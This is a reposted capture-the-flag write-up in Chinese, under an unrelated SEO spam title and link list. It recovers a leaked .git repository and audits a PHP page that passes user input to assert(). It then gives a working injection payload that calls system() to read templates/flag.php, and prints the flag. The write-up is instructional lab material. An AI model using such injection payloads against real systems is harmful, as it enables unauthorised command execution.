当前位置: 首页 > news >正文

dz做电影网站郑州网站seo外包公司

dz做电影网站,郑州网站seo外包公司,wordpress怎么修改主页,建设安全施工网络平台根据题目提示考虑是git库泄露 这里在地址栏后加.git也可以验证是git库泄露 使用GitHack工具对git库进行恢复重建 在templates目录下存在flag.php文件&#xff0c;但里面并没有flag 有内容的只有主目录下的index.php index.php源码&#xff1a; <?phpif (isset($_GET[page…

根据题目提示考虑是git库泄露

这里在地址栏后加.git也可以验证是git库泄露


使用GitHack工具对git库进行恢复重建

 

在templates目录下存在flag.php文件,但里面并没有flag

有内容的只有主目录下的index.php

 

index.php源码:

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>My PHP Website</title><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" /></head><body><nav class="navbar navbar-inverse navbar-fixed-top"><div class="container"><div class="navbar-header"><button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"><span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button><a class="navbar-brand" href="#">Project name</a></div><div id="navbar" class="collapse navbar-collapse"><ul class="nav navbar-nav"><li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li><li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li><li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li><!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> --></ul></div></div></nav><div class="container" style="margin-top: 50px"><?phprequire_once $file;?></div><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" /><script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" /></body>
</html>

提取需要审计的PHP代码

代码审计:

<?phpif (isset($_GET['page'])) {    //判断$page是否存在$page = $_GET['page'];    //存在就以get方法取值
} else {$page = "home";    //不存在就将"home"赋值给新建$page
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//assert函数返回值如果不为true则执行die命令则PHP脚本终止运行
//所以我们可以构造一个$file使其直接执行系统命令并加上注释符把判断".."的部分注释掉并即可// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
//判断$file文件是否存在,不存在直接终止脚本?>

其中有一串关键代码:$file = "templates/" . $page . ".php";

我们通过前面的GitHack已知悉flag.php文件就在templates目录下

所以我们构造payload的时候使$page有cat flag.php命令就行


重点:assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

首先使strpos函数闭合,利用函数结构strpost(',那么$file的前半部分应该是:')

后面接上命令: or system('cat templates/flag.php'),再接上注释符://

如此这般,该条代码最后执行的效果应该是:【绿色部分被//注释】

assert("strpos('') or system('cat templates/flag.php');//', '..') === false") or die("Detected hacking attempt!");

strpost('')参数为空时返回false,所以直接执行or后面的代码

最后构造payload:URL/?page=') or system('cat templates/flag.php');//


flag:cyberpeace{a97ae1229c2668130daa2f0f432fdd1b}

http://www.dinnco.com/news/61091.html

相关文章:

  • 示范高校建设网站百度图片识别在线识图
  • 建设网站wbs十大外贸电商平台
  • 做投资理财网站百度人工客服24小时
  • 网站地图 格式百度竞价托管费用
  • 怎么做网站的ico基础建站如何提升和优化
  • 做网站切图软件北京百度网站排名优化
  • 凤翔网站建设图片识别 在线百度识图
  • 制作一个自适应网站源码如何做好网络营销工作
  • Dw做网站怎么加logo百度云搜索引擎入口盘搜搜
  • 做内贸只要有什么网络推广网站百度seo排名点击器app
  • 快速建站哪里好建站模板网站
  • 个人网站可以做淘宝推广搜索引擎优化策略包括
  • 网上做结婚照的网站网络营销个人总结
  • 石家庄市住房建设局网站李勇seo博客
  • 教育培训网站源码营销策略4p分析怎么写
  • 做qq代刷网站高端建站
  • 网站建设费用不用摊销如何百度收录自己的网站
  • 网页设计与网站建设迅雷磁力链bt磁力天堂下载
  • 重庆微网站开发公司我赢网seo优化网站
  • 网站建设终稿确认书被逆冬seo课程欺骗了
  • 营销型网站建设极速建站平台推广是什么
  • 外贸付款方式网站优化排名方案
  • 天津b2b网站建设公司哪家好郑州seo网站管理
  • 怎样在手机上做动漫视频网站百度小说排行榜前十
  • 网站与网页的区别.企业查询官网入口
  • 推荐微网站建设百度霸屏推广靠谱吗
  • 做网站码站长之家seo一点询
  • wordpress quora百度seo按天计费
  • 商丘网站建设大全互联网营销师有什么用
  • 深圳做营销网站设计杭州免费网站制作